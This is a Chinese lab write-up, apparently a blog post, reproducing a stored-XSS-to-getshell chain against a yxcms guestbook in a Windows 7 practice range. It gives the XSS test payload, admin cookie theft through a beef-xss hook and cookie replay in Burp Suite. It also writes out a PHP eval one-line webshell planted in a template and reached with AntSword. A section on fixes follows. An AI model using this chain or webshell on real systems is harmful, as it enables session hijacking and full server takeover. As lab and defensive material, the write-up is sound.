yxcms存储型XSS至getshell 漏洞复现
01 环境部署
(1)yxcms
yxcms 基于 PHP+MySQL 开发,这是一个采用轻量级 MVC 设计模式的网站管理系统。轻量级 MVC 设计模型使网站系统更加紧凑,且支持自定义表功能,使整个网站的数据结构设计更为灵活,也可以支持将图集、文章拓展成为其他实例,比如展品、分类等栏目。
本靶场中将使用 YXCMS 作为 Windows 7 边界服务器上开启的 Web 应用。
(2)phpStudy
phpStudy 是一款用于进行 PHP 环境调试的程序集成软件包。在软件安装后便
启动了 MySQL 服务、Apache 服务、PHP 设置等模块,是一款便捷的 PHP 环境调试工具。
phpStudy 在本靶场中用于在 Windows 7 上搭建 Web 服务。
02 漏洞配置
XSS 是一种常见的 Web 应用漏洞,该漏洞的产生是由于网站将用户输入的恶意代码不经过滤便输出到页面,导致恶意语句被执行,造成客户端被攻击的危害。
在攻击者进行测试的时候,通常涉及到的业务功能处有:用户留言板、用户反馈、用户发帖、用户个人信息修改等。
本靶场配置了 yxcms 留言板功能存储型 XSS。
03 利用方式
访问 http://192.168.40.133/yxcms/页面,浏览网页相关消息,留言本模块中留言内容部分插入 xss 测试代码<script>alert(1)</script>
模拟管理员登入后台查看留言管理,发现出现弹框
确定网站存在存储型 XXS 后,计划利用 beef-xss 的 hook 功能模块获取后台管理员的cookie消息。首先Kali攻击机启动beef-xss,修改登录密码为jkxy@123
访问 beef-xss 的 web 管理界面:http://127.0.0.1:3000/ui/panel,使用账号密码 beef/jkxy@123 成功登录
使用 beef 平台生成的 hook 进行 XSS 攻击,在留言本中发布一个带 hook 的评论
模拟后台管理员进行内容审核操作
在 Kali 攻击机上登录 beef,这里可以看到被勾连的浏览器,我们获得了其登录的 URL 和 cookie
利 用 Burp Suite 代 理 工 具 , 抓 取 管 理 员 后 台 登 录 时 的 请 求 包 , 在Proxy—>Option—>Match and Replace 板块添加一个规则:^Cookie.*$,其中Cookie 填入 beef-xss 中获取的 cookie 消息,添加好后把 enabled 勾上,这样每次经过 burp 的请求都是固定的 cookie
使用浏览器重新访问后台网站,发现直接登录后台管理页面
成功登录 CMS管理员后台后,找到模板编辑处,往 index_index.php 中,插入一句话:
<?php eval($_POST["jkxy"]);?>
中国蚁剑连接 http://192.168.239.202/yxcms/index.php,使用 ipconfig 命令进行虚拟终端功能测试,发现能成功返回 Windows 7 服务器 IP 地址192.168.40.133
测试中国蚁剑文件管理功能,发现成功回显 webshell 所在目录C:/phpStudy/WWW/yxcms/public,说明中国蚁剑成功连接 webshell
至此攻击者通过存储型XSS至getshell,成功获取服务器权限。
04 修复方案
1、对用户提交的数据在输出返回浏览器前进行转义,对特殊字符如;尖括号,括号,单引号,双引号,反斜线等进行HTML字符实体转义。
2、某个数据被接受为可被显示或存储之前,使用标准输入验证机制,验证所有输入数据的长度、类型、语法以及业务规则。
3、数据输出前,确保用户提交的数据已被正确进行entity编码,建议对所有字符进行编码而不仅局限于某个子集。
4、明确指定输出的编码方式:不要允许攻击者为你的用户选择编码方式(如ISO 8859-1或 UTF 8)。
5、注意黑名单验证方式的局限性:仅仅查找或替换一些字符(如"<" ">"或类似"script"的关键字),很容易被XSS变种攻击绕过验证机制。
- 点赞
- 收藏
- 关注作者
评论(0)